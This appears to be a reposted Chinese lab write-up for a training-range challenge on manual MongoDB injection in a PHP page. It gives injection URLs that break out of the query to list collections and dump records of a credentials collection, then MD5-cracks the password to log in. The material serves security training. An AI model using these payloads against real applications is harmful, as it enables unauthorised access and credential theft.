NOSQL MongoDB 注入——本質上還是和sql注入是類似的


墨者學院 - SQL手工注入漏洞測試(MongoDB數據庫)

SQL手工注入漏洞測試(MongoDB數據庫)

背景介紹

安全工程師"墨者"最近在練習SQL手工注入漏洞,自己剛搭建好一個靶場環境Nginx+PHP+MongoDB,PHP代碼對客戶端提交的參數未做任何過濾。盡情的練習SQL手工注入吧。

附上源代碼截圖:

未標題-1.jpg

實訓目標

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解MongoDB的數據結構;
4.了解字符串的MD5加解密;

解題

手工進行SQL注入測試,獲取管理密碼登錄。

 

# 查看是否有注入點
http://ip/new_list.php?id=1'

# 想辦法閉合語句,查看所有集合
# db.getCollectionNames()返回的是數組,需要用tojson轉換為字符串。並且mongodb函數區分大小寫
http://ip/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),2:'1

類似語句:

 select SCHEMA_NAME from information_schema.SCHEMATA

 

# 查看Authority_confidential集合的第一條數據
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),2:'1

類似語句: 

select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='Authority_confidential' 

# 查看Authority_confidential集合的第二條數據
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2:'1

 

得到用戶名密碼,密碼用md5解密

登陸,獲得key


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM